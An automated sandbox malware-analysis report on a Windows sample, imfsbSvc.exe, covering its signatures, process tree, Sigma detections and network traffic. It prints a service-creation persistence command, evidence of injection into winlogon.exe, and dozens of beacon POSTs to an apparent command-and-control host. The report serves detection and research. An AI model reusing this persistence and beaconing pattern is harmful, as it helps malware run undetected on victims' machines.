Edit tour

Windows Analysis Report
imfsbSvc.exe

Overview

General Information

Sample name:	imfsbSvc.exe
Analysis ID:	1564524
MD5:	ca73da8345de507ac023d52b4b5c1814
SHA1:	ef32667de23715ef2903b185c08ed9b5dc7cfeed
SHA256:	5b88f7d36fe435cd6944bda05f1758f64c7d5136a5f529a58522ac3b0dc9743a
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	63
Range:	0 - 100

Signatures

Multi AV Scanner detection for dropped file

Allocates memory in foreign processes

Connects to many ports of the same IP (likely port scanning)

Deletes itself after installation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Outbound Network Connection To Public IP Via Winlogon

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64native

imfsbSvc.exe (PID: 5180 cmdline: "C:\Users\user\Desktop\imfsbSvc.exe" MD5: CA73DA8345DE507AC023D52B4B5C1814)

cmd.exe (PID: 2832 cmdline: C:\Windows\system32\cmd.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 5884 cmdline: sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

imfsbSvc.exe (PID: 2212 cmdline: C:\ProgramData\IObit\imfsbSvc.exe MD5: CA73DA8345DE507AC023D52B4B5C1814)

winlogon.exe (PID: 8076 cmdline: C:\Windows\system32\winlogon.exe MD5: A987B43E6A8E8F894B98A3DF022DB518)

winlogon.exe (PID: 5904 cmdline: C:\Windows\system32\winlogon.exe MD5: A987B43E6A8E8F894B98A3DF022DB518)

explorer.exe (PID: 1556 cmdline: C:\Windows\explorer.exe MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

cleanup

Sigma Signatures

Sigma detected: Outbound Network Connection To Public IP Via Winlogon

Source: Network Connection

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: DestinationIp: 160.16.200.77, DestinationIsIpv6: false, DestinationPort: 8443, EventID: 3, Image: C:\Windows\System32\winlogon.exe, Initiated: true, ProcessId: 5904, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore, CommandLine: sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2832, ParentProcessName: cmd.exe, ProcessCommandLine: sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore, ProcessId: 5884, ProcessName: sc.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\winlogon.exe, CommandLine: C:\Windows\system32\winlogon.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\winlogon.exe, NewProcessName: C:\Windows\System32\winlogon.exe, OriginalFileName: C:\Windows\System32\winlogon.exe, ParentCommandLine: C:\ProgramData\IObit\imfsbSvc.exe, ParentImage: C:\ProgramData\IObit\imfsbSvc.exe, ParentProcessId: 2212, ParentProcessName: imfsbSvc.exe, ProcessCommandLine: C:\Windows\system32\winlogon.exe, ProcessId: 8076, ProcessName: winlogon.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\IObit\DgApi.dll	ReversingLabs: Detection: 36%
Source: C:\ProgramData\IObit\imfsbDll.dll	ReversingLabs: Detection: 39%

Compliance

PE / OLE file has a valid certificate

Source: imfsbSvc.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 160.16.200.77:443 -> 192.168.11.20:49715 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: imfsbSvc.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\IMF9\sandboxie-master\Bin\x64\SbieRelease\imfsbDll.pdb source: imfsbSvc.exe, 00000000.00000003.1813330361.000002413DEE5000.00000004.00000020.00020000.00000000.sdmp, imfsbSvc.exe, 00000000.00000002.1820418997.000000005CD2E000.00000002.00000001.01000000.00000004.sdmp, imfsbSvc.exe, 00000005.00000002.1823628825.000000005CC8E000.00000002.00000001.01000000.00000007.sdmp, imfsbDll.dll.0.dr
Source:	Binary string: C:\IMF9\sandboxie-master\core\low\obj\amd64\LowLevel.pdb source: imfsbSvc.exe, imfsbSvc.exe.0.dr
Source:	Binary string: C:\IMF9\sandboxie-master\Bin\x64\SbieRelease\imfsbSvc.pdb source: imfsbSvc.exe, imfsbSvc.exe.0.dr
Source:	Binary string: C:\IMF9\sandboxie-master\Bin\x64\SbieRelease\imfsbDll.pdb7 source: imfsbSvc.exe, 00000000.00000003.1813330361.000002413DEE5000.00000004.00000020.00020000.00000000.sdmp, imfsbSvc.exe, 00000000.00000002.1820418997.000000005CD2E000.00000002.00000001.01000000.00000004.sdmp, imfsbSvc.exe, 00000005.00000002.1823628825.000000005CC8E000.00000002.00000001.01000000.00000007.sdmp, imfsbDll.dll.0.dr

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 160.16.200.77 ports 8443,3,443,4,8,80

Source: global traffic

TCP traffic: 192.168.11.20:49714 -> 160.16.200.77:8443

Source: Joe Sandbox View

ASN Name: SAKURA-BSAKURAInternetIncJP SAKURA-BSAKURAInternetIncJP

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: POST /00000000006A9DE200000000006A9DE2 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 64User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000006BEECC00000000006BEECC HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 46User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000006C533300000000006C5333 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 87User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000006D7A0F00000000006D7A0F HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 95User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000006FDB1200000000006FDB12 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 143User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007067B200000000007067B2 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 87User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0000000000722A900000000000722A90 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 105User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /000000000072B607000000000072B607 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 52User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0000000000742A380000000000742A38 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 147User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007467CE00000000007467CE HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 48User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /000000000075401D000000000075401D HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 113User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /000000000075550C000000000075550C HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 101User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /000000000075B7AE000000000075B7AE HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 115User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007704620000000000770462 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 94User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007916B700000000007916B7 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 122User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0000000000797AE00000000000797AE0 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 26User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007AEFBD00000000007AEFBD HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 56User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007BF22900000000007BF229 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 77User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007E2C2B00000000007E2C2B HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 140User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007F068E00000000007F068E HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 73User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000007F90EB00000000007F90EB HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 68User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /00000000006AA45A00000000006AA45A HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 40User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 4b 17 cd c7 34 e9 a8 4d 98 77 72 42 32 9d 87 9c a3 28 1d bf b4 ac 9b 6d 3d cc 53 df ff 99 f0 35 9f 06 6e 9f 41 e5 32 dc Data Ascii: K4MwrB2(m=S5nA2
Source: global traffic	HTTP traffic detected: POST /00000000006BF3EC00000000006BF3EC HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 63User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 0e b1 77 76 08 f3 05 36 9c a6 c8 9b 39 e4 be 81 7d 92 61 b6 71 f1 63 89 36 b5 f7 35 65 82 bc f5 b7 70 f7 65 8f 30 b3 f0 32 63 84 ba f3 b1 76 f6 67 8d 32 b1 f2 30 60 86 b8 f1 b3 74 f4 66 8c Data Ascii: wv69}aqc65epe02cvg20`tf
Source: global traffic	HTTP traffic detected: POST /00000000006C584400000000006C5844 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 89User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: f7 ce d1 8a 2f 50 66 5b ca e2 5b 42 a2 4e be 7b e8 0b 2d 81 09 4e d0 f5 6d 73 8e dc 10 6d 85 d1 2f ff 7b 38 2d 74 68 a8 0a 9d 64 42 45 30 35 4e f7 53 bb 77 be 73 cc 8a 66 b9 95 f4 28 6b bf 47 57 26 82 62 2d 5c 4e c2 25 bd c3 4a a4 b0 4e 75 ed cf 4d 37 d2 c3 bf 3d 8c Data Ascii: /Pf[[BN{-Nmsm/{8-thdBE05NSwsf(kGW&b-\N%JNuM7=
Source: global traffic	HTTP traffic detected: POST /00000000006D7F8E00000000006D7F8E HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 97User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 74 d8 f9 23 1d 0b 19 60 3e 86 da 2a d3 20 d7 34 80 96 64 c4 9e 14 27 9a af 37 1a d4 09 72 72 32 9b af d2 34 d9 8c 9b 46 97 85 ec 20 14 c9 28 c8 38 09 f9 ec dc 32 38 99 66 88 30 9e 91 a1 84 84 71 c2 0d 72 a4 57 73 0a 1e e3 da dd 5a bb b4 52 2c 07 95 56 ca 56 90 ec fc 9d 2e 5d 98 aa 09 cf 08 Data Ascii: t#`>* 4d'7rr24F (828f0qrWsZR,VV.]
Source: global traffic	HTTP traffic detected: POST /00000000006FE06100000000006FE061 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 125User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: d1 f7 de a3 14 95 6d b5 d3 c0 47 1b ba b3 d3 6a 1d a3 b0 74 1b c3 19 89 cd 57 68 aa 2c c3 16 43 65 cc e0 95 be bf 1f 41 a5 90 f0 ac d6 bf 76 0f 94 09 0b d2 b7 8a dc cf 78 8b b7 b3 40 06 0a 2a af bf d2 1e b4 c1 da c2 81 cf 19 77 dc 1f 96 87 1e 43 fa a2 05 0c 5f 0a 70 2d c2 2f 95 aa 48 0c b9 48 e6 ca 57 ba 84 0f 23 62 4a e3 17 16 0e b0 1b 89 03 08 e4 27 ef 39 4a c3 ff 85 a3 Data Ascii: mGjtWh,CeAvx@*wC_p-/HHW#bJ'9J
Source: global traffic	HTTP traffic detected: POST /0000000000706D110000000000706D11 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 47User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: e7 1f 29 3a e2 57 42 a7 31 73 74 62 fc 7a 57 d0 de f0 e3 e0 2b c2 d4 b8 b1 07 6c c5 eb 3a 26 35 f3 e9 60 07 28 ab 38 ee ec 8e eb 3d d2 65 16 Data Ascii: ):WB1stbzW+l:&5`(8=e
Source: global traffic	HTTP traffic detected: POST /0000000000722F620000000000722F62 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 137User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 92 14 48 cf 94 73 87 bb b4 c6 7f 97 3c f0 3a 4b 10 20 78 7c 13 55 1a 75 9b ad 12 1c f6 fa 7c 65 f3 82 dd 14 3e fc ee c6 62 ac 58 60 66 99 0f ec c9 ff 44 86 0a a6 c8 39 31 84 c8 ff 63 2d bf b7 da 6d 24 2d 1e 71 25 e0 e8 68 96 41 f9 1d ae db d4 75 6f 61 74 7f 79 c1 71 f8 75 bf dd a1 b3 9a 48 e8 9c 93 d1 3f f1 aa d1 12 fa be ed 78 89 7f 2f dd 45 c9 e9 8f e6 23 88 11 78 89 57 f3 24 cd cf 03 c1 34 4c e8 d0 32 77 Data Ascii: Hs<:K x\|Uu\|e>bX`fD91c-m$-q%hAuoatyquH?x/E#xW$4L2w
Source: global traffic	HTTP traffic detected: POST /000000000072BB27000000000072BB27 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 131User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 66 ff 31 2c 52 12 26 5a 69 8b c0 65 a8 e3 15 7f 51 29 70 cd b7 ca 9f 21 f1 7b e4 1d 12 68 4f f7 ee dc 0a 3b 78 bb 8c 41 5b 70 f6 1a 20 88 b8 94 f3 99 b1 f0 da 34 99 60 d9 84 71 2e 68 e6 01 2d e7 29 18 f8 2a 23 03 10 2b 3a 58 ac db 7e b3 f8 0e 64 4b 30 69 d4 ae d3 86 37 e6 6c f3 0a 05 7f 59 fe e7 d5 03 32 71 b2 87 4a 50 7b fd 11 2b 82 b1 9d fa 90 b8 f9 d4 3b 96 6f d6 8b 7e 20 61 ef 08 24 ee Data Ascii: f1,R&ZieQ)p!{hO;xA[p 4`q.h-)*#+:X~dK0i7lY2qJP{+;o~ a$
Source: global traffic	HTTP traffic detected: POST /0000000000742FC60000000000742FC6 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 30User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 89 8b 54 2c 39 f5 37 d0 6e ff 3c c7 c4 1a 08 16 9e e3 b9 ec 82 9a 7d 7e 4a f8 1f 81 d2 9c Data Ascii: T,97n<}~J
Source: global traffic	HTTP traffic detected: POST /0000000000746D3C0000000000746D3C HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 116User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: f0 ed d9 84 67 ae 26 8b 0c 2c 43 c9 62 c5 05 19 aa 6a e8 a3 6f 36 04 41 27 bf 57 9d 1d 81 85 33 bc 95 ab 02 6c 6b ff 00 ca 43 37 72 d8 81 73 69 e4 38 07 15 31 46 52 2c 13 23 69 74 21 0f 91 68 bc 01 dd 9e 41 93 7c 85 7b 5d b7 57 d4 9f 7e c8 4c 3b 9d fd a1 da b3 75 0c 97 0a 08 d6 b3 8e d9 ca 7d 8e b2 b7 44 01 0d 2d a8 b8 d6 1a b1 c4 df c7 84 cb 1d Data Ascii: g&,Cbjo6A'W3lkC7rsi81FR,#it!hA\|{]W~L;u}D-
Source: global traffic	HTTP traffic detected: POST /00000000007544B000000000007544B0 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 144User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 20 99 78 46 b4 57 f7 21 b7 00 72 08 c8 37 e6 f8 1f 15 f2 42 df 66 ef 5b 27 ec 54 34 18 da 94 7a 38 b6 b1 db d3 80 af 89 fc 2f e7 81 f1 3e c6 6d 14 40 2d 41 33 41 ec af 9d a5 8f 04 b4 6d a7 b7 3a ef 28 d2 e1 00 d9 54 65 61 b3 f5 71 38 ef 82 24 6b 82 9c 04 48 a3 b5 19 c6 c3 2c c1 d8 87 cc 6b 45 23 8a 44 36 35 b3 56 03 ec 9a 9c a9 c6 0e a8 cc e6 c0 3c 9f 6b 55 49 bf ef 3b 4d 78 71 1d 0e 99 e1 6d fb 76 21 71 f1 0e 84 eb 62 aa 00 ab Data Ascii: xFW!r7Bf['T4z8/>m@-A3Am:(Teaq8$kH,kE#D65V<kUI;Mxqmv!qb
Source: global traffic	HTTP traffic detected: POST /00000000007559CF00000000007559CF HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 119User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 93 70 bd 3f 8b 95 b3 8c 08 3a 17 15 a2 43 c5 8c da 17 09 ee d0 9c 8d 5d ad e3 2b cd 3b e0 2d c0 e8 9d 56 a6 02 9c 4d 7f 76 43 36 9c 59 91 7c 20 33 8f be 9b f2 11 a1 20 a0 29 32 fc 00 dd 3f a8 14 a3 26 20 7c 89 8f 4c fb 5e 06 dc f3 15 b5 3c 89 c3 de bd 11 ce 76 8e 7d 42 ec dc 41 01 96 15 5a eb d7 2b 59 e0 08 a3 68 a3 d2 89 b9 e1 e5 8b ce 81 ee 00 36 89 84 Data Ascii: p?:C]+;-VMvC6Y\| 3 )2?& \|L^<v}BAZ+Yh6
Source: global traffic	HTTP traffic detected: POST /000000000075BC61000000000075BC61 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 36User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 1c 92 dd bc 33 ac 80 6a a6 ee 4a e6 41 9a 55 3e 83 d9 24 09 4c 1b 29 af 88 7a 71 5f d9 fe 7b cc 3a 93 64 c6 Data Ascii: 3jJAU>$L)zq_{:d
